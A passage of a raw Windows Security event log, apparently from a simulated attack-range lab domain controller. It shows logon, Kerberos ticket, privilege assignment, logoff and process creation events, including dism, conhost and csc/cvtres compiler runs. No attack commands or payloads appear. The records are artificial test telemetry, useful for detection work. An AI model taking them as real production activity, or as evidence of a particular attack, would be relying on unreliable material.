SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252748 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x172333 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252747 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252746 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252745 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252744 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11fc - New Process Name: C:\Windows\Temp\730AB708-8555-41DD-9FEF-7FDEC841D6F3\DismHost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1010 - Creator Process Name: C:\Windows\System32\Dism.exe - Process Command Line: C:\Windows\TEMP\730AB708-8555-41DD-9FEF-7FDEC841D6F3\dismhost.exe {EBDB4DD6-4CD0-4D55-84CB-C8BB5A1183CD} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252743 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x171E64 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252742 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168BE9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252741 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17007D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252740 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16A84E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252739 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16E687 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252738 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16D8B3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252737 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x168EAE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252736 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x171E64 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252735 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x171E64 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252734 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252733 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252732 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252731 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x171D40 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252730 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x171D40 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252729 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x171D40 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252728 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252727 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252726 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252725 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17023C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252724 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x480 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1010 - Creator Process Name: C:\Windows\System32\Dism.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252723 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1010 - New Process Name: C:\Windows\System32\Dism.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xb2c - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: dism /online /enable-feature /featurename:File-Services /NoRestart - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252777 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x172333 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xff8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1324 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES8777.tmp" "c:\Users\Administrator\AppData\Local\Temp\gpfbrhor\CSC530745164A0A47FDBC167305F85BED.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252776 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x176E55 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252775 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x176E55 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {CC8A76A5-A36E-290A-81F1-B1C5FDC2AC7A} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252774 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: 